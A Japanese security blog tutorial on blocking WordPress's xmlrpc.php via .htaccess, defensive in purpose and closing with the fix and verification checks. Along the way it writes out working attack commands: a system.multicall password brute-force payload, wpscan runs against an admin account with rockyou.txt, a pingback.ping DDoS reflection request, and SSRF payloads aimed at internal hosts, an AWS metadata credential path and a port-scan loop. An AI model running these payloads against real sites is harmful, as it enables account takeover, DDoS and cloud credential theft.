当サイトの一部ページには、アフィリエイト・アドセンス・アソシエイト・プロモーション広告を掲載しています。

Amazonのアソシエイトとして、Security Akademeiaは適格販売により収入を得ています。

広告配信等の詳細については、プライバシーポリシーページに掲載しています。

消費者庁が、2023年10月1日から施行する景品表示法の規制対象(通称:ステマ規制)にならないよう、配慮して記事を作成しています。もし問題の表現がありましたら、問い合わせページよりご連絡ください。

参考:令和5年10月1日からステルスマーケティングは景品表示法違反となります。 | 消費者庁

WordPressのxmlrpc.phpを無効化してブルートフォース攻撃を防ぐ

WordPressのセキュリティ対策として「ログインページのURL変更」や「2段階認証」を導入しているサイトは多いでしょう。しかし、xmlrpc.phpというエンドポイントを放置していると、これらの対策をほぼ無効化されてしまう可能性があります。
本記事では、xmlrpc.phpの危険性と、".htaccess"ファイルへの1行追記で対策する方法を解説します。

xmlrpc.phpとは

WordPressの前身であるb2ブログソフトウェアの時代から存在するリモートAPI機能です。

XML-RPCプロトコルを使って外部からWordPressを操作できる仕組みであり、モバイルアプリや外部ツールとの連携に使われてきました。しかし現在はWordPress 4.7(2016年)以降で導入されたREST APIに置き換えられており、ほとんどのサイトで不要な機能になっています。

問題はWordPressにデフォルトで有効になっており、何も対策していなければエンドポイントが公開された状態のため、ブルートフォース攻撃やDDoS攻撃の標的になりうる点です。

All In One WP Securityなどのセキュリティプラグインを使っていても、xmlrpc.phpのブロックは自動では設定されていません。

注意事項

この記事で使用したコマンドは、自分が管理するサイトや許可を得た環境でのみ実行してください。第三者のサイトへの無断アクセスは不正アクセス禁止法に抵触する恐れがあります。

まず自分のサイトの状態を確認する

ブラウザーで以下のURLにアクセスしてみてください。

https://yourdomain.com/xmlrpc.php

“XML-RPC server accepts POST requests only."が表示されたなら、xmlrpc.phpにアクセス可能、すなわち危険な状態といえます。

さらにcurlで詳しく確認できます。

# HTTPステータスコードを確認
curl -s -o /dev/null -w "%{http_code}\n" https://yourdomain.com/xmlrpc.php
# → 200 が返れば有効

# 利用可能なメソッド一覧を取得(認証不要)
curl -s -X POST https://yourdomain.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' \
  | grep -o '<string>[^<]*</string>' | sed 's/<[^>]*>//g'

上のコマンドを実行して、system.multicallやpingback.pingなど多数のメソッドが列挙されたなら、これらのメソッドが攻撃に悪用される恐れがあります。

xmlrpc.phpにアクセスできると何が問題なのか?

Multicallを使ったブルートフォース攻撃

通常のログインページ(/wp-login.php)では、1リクエストにつき1パスワードしか試せません。「Limit Login Attempts」などのプラグインが有効に機能するのも、この前提があるからです。

これらのプラグインを導入すると、一定回数のログイン失敗でIPをロックアウトできます。たとえば「5回失敗で15分ブロック」という設定にすれば、通常のブルートフォース攻撃はほぼ無力化されます。

通常のブルートフォース攻撃(wp-login.php):
1回目失敗 → 2回目失敗 → 3回目失敗 → 4回目失敗 → 5回目失敗 → IPブロック
→攻撃者は5回しか試せない。
→rockyou.txtの全パスワードを試すには何年もかかる

ロックアウトはログインページへの攻撃に対しては非常に有効な対策です。

しかしxmlrpc.phpにはsystem.multicallというメソッドがあり、1リクエストに500〜1000のパスワード試行を束ねて送れます。ここがロックアウトの盲点になるのです。

通常のログインページ1リクエスト = 1試行ロックアウトが機能する
xmlrpc multicall1リクエスト = 1000試行ロックアウトは実質1カウント

つまり「5回でブロック」というロックアウトの設定をしていても、xmlrpc経由ならブロックされるまでに5000パスワードを試される計算になります。よって、ロックアウトプラグインを入れているから安心とはならなくなります。

curlの場合、以下のコマンドでxmlrpc multicallを実現できます。

curl -X POST https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>

    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password001</string></value>
        </data></array></value>
      </data></array></value></member>
    </struct></value>

    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password002</string></value>
        </data></array></value>
      </data></array></value></member>
    </struct></value>

    <!-- 以降500〜1000エントリ続く -->

  </data></array></value></param></params>
</methodCall>'

しかし、力技すぎます。攻撃ツールであるWPScaanであれば、–password-attackオプションでwp-loginではなくxmlrpc-multicallを指定するだけです。

# ログインページ経由(xmlrpc不使用)
wpscan --url https://target.example.com \
       --usernames admin \
       --passwords /usr/share/wordlists/rockyou.txt \
       --password-attack wp-login

# 並列数を上げて高速化
wpscan --url https://target.example.com \
       --usernames admin \
       --passwords /usr/share/wordlists/rockyou.txt \
       --password-attack wp-login \
       --max-threads 10

#####
# xmlrpc-multicallモードで攻撃
wpscan --url https://target.example.com \
       --usernames admin \
       --passwords /usr/share/wordlists/rockyou.txt \
       --password-attack xmlrpc-multicall

# 並列数を上げた場合
wpscan --url https://target.example.com \
       --usernames admin \
       --passwords /usr/share/wordlists/rockyou.txt \
       --password-attack xmlrpc-multicall \
       --max-threads 10

さらに、xmlrpc Multicall攻撃を実施した際に、ログに1行しか記録されないため、通常のログインページへの攻撃より露見しにくいといえます。

# 通常攻撃のログ(1000行残る)
203.0.113.1 - POST /wp-login.php 200
203.0.113.1 - POST /wp-login.php 200
(以降、1000行続く)

# xmlrpc Multicall攻撃のログ(これ1行で1000試行済み)
203.0.113.1 - POST /xmlrpc.php 200

Pingbackを使ったDDoS増幅と踏み台化

pingback.pingメソッドは「このURLにリクエストを送れ」とサーバーに命令するメソッドです。本来は他ブログへのリンク通知に使うものです。

しかしながら、pingback.pingメソッドを悪用すると、WordPressサーバー自身に大量のリクエストを飛ばせます。

攻撃者 → WordPressサイト(xmlrpc.phpアクセス可)→ ターゲットサーバー
このようなWordPressサイトが多数あれば、ターゲットサーバーに大量リクエストを送れる

攻撃者のIPアドレスはターゲットサーバーのログに一切残りません。xmlrpc.phpが見えているWordPressサーバーが知らないうちに加害者になってしまうのです。

以下のワンライナーコマンドは、攻撃者が踏み台WordPressサイトに送るためのcurlコマンドです。

curl -s -X POST https://<踏み台WordPressサイト>/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://<ターゲットサイト>/</string></value></param><param><value><string>https://<踏み台WordPressサイト>/dummy/</string></value></param></params></methodCall>'

第1引数が「攻撃対象のURL」、第2引数が「踏み台サイトの記事URL」です。このリクエストを受け取った踏み台WordPressサイトが、攻撃対象に向けてHTTPリクエストを送信する仕組みになっています。

攻撃者はこれを数千の踏み台WordPressサイトへ一斉送信するだけで、DDoS攻撃を実現できるのです。

SSRFの可能性

SSRF(Server-Side Request Forgery:サーバーサイドリクエストフォージェリ)は、攻撃者がサーバー自身に任意のリクエストを送らせる攻撃です。

通常、外部の攻撃者はファイアウォールによって内部ネットワークに直接アクセスできません。しかしサーバー自身はファイアウォールの内側にいるため、内部リソースへ自由にアクセスできます。SSRFはこのギャップを突きます。

先に示した例はDDoS攻撃でしたが、今度はSSRFに応用するのです。

攻撃者が第1引数に外部ではなく内部ネットワークのアドレスを指定すると、WordPressサーバーが内部リソースへリクエストを送ります。その結果、ファイアウォールの外からは届かない内部リソースへのアクセスを試みれるわけです。

【例1】内部のルーター管理画面を覗く

以下のコマンドを実行すると、WordPressサーバーが192.168.1.1(ルーター)へリクエストを送ります。エラーの内容によって内部構成が推測できます。

curl -s -X POST https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://192.168.1.1/admin</string></value></param><param><value><string>https://target.example.com/dummy/</string></value></param></params></methodCall>'

【例2】AWSメタデータからインスタンスメタデータを盗む

AWSには169.254.169.254というリンクローカルアドレスでアクセスできるメタデータサービス(IMDS)があります。このアドレスはEC2インスタンス内部からしか届きませんが、SSRFを使えば外部から間接的に叩けます。

以下のコマンドは、IAM認証情報の取得を試みるものです。

curl -s -X POST https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://169.254.169.254/latest/meta-data/iam/security-credentials/</string></value></param><param><value><string>https://target.example.com/dummy/</string></value></param></params></methodCall>'

取得できた場合、AWSのアクセスキーやシークレットキーが得られ、クラウド環境全体の乗っ取りにつながります。

【例3】認証なしで動いている内部APIを叩く

以下のコマンドは、内部では認証なしで動いているAPIが、外部からSSRF経由で叩いているものになります。

curl -s -X POST https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://10.0.0.10:8080/api/users</string></value></param><param><value><string>https://target.example.com/dummy/</string></value></param></params></methodCall>'

【例4】ポートスキャンへの応用の可能性

以下のコマンドは、ポートを変えながら内部サーバーを調べるものになります。

# ポートを変えながら内部サーバーの構成を調べる
for port in 22 80 443 3306 6379 8080; do
  echo -n "port $port: "
  curl -s -o /dev/null -w "%{time_total}s\n" -X POST https://target.example.com/xmlrpc.php \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://10.0.0.10:${port}/</string></value></param><param><value><string>https://target.example.com/dummy/</string></value></param></params></methodCall>"
done

レスポンスが速ければポートが開いている、タイムアウトすれば閉じているという判断ができます。結果的にポートスッキャンを実現できてしまいます。

2段階認証では防げないのか

「2FAを導入しているから大丈夫」と思うかもしれませんが、注意が必要です。

多くの2FAプラグインは/wp-login.phpにフックして2段階目の認証を要求しています。xmlrpc.phpは別エンドポイントのため、プラグインの実装次第でバイパスされることがあるのです。

wp-login.php:  パスワード → TOTPコード要求 → ログイン(2FA有効)
xmlrpc.php:    パスワード → ログイン完了   (2FAをスキップする場合あり)

つまりxmlrpc.phpを塞ぐことで、攻撃経路ごと消すのがもっとも確実な対策となります(そのうえで2FAを導入するのがよい)。

【対策】".htaccess"ファイルに1タグを追記するだけ

WordPressのルートディレクトリにある".htaccess"ファイルに以下の1タグを追記します。

# XML-RPC無効化
<Files "xmlrpc.php">
    Require all denied
</Files>

この設定により、Apacheレベルでxmlrpc.phpへのリクエストをすべて遮断できます。

ところで、".htaccess"ファイルにさまざまな設定がすでに書き込まれrているかもしれません。それは、既存のプラグインによるものも含まれます。

このときは、次のように末尾に追加すればよいでしょう。

「# BEGIN WordPress」と「# END WordPress」間のブロック内に入れないようにしてください。なぜなら、WordPressが自動上書きして消えてしまうからです。

ただし、Jetpackプラグインの一部機能や古いWordPressモバイルアプリはxmlrpc.phpに依存していることがあります。無効化後に問題が発生した場合は、REST APIへの移行を検討するとよいでしょう。

設定反映を確認する

1:".htaccess"ファイルを保存した後、以下のコマンドを実行します。そして、返ってくるステータスコードを確認します(最初に入力したコマンドと同じ)。

curl -s -o /dev/null -w "%{http_code}\n" -X POST https://yourdomain.com/xmlrpc.php

403が返れば対策成功です。

さらに、ずらりと表示されていたメソッドが見えなくなりました。

# さらに詳しく確認したい場合
curl -s https://yourdomain.com/xmlrpc.php
# → 403 Forbidden / You don't have permission to access this resource.

# メソッド一覧が取得できないことを確認
curl -s -X POST https://yourdomain.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' \
  | grep -o '<string>[^<]*</string>' | sed 's/<[^>]*>//g'
# → 何も返らなければ完全にブロックされている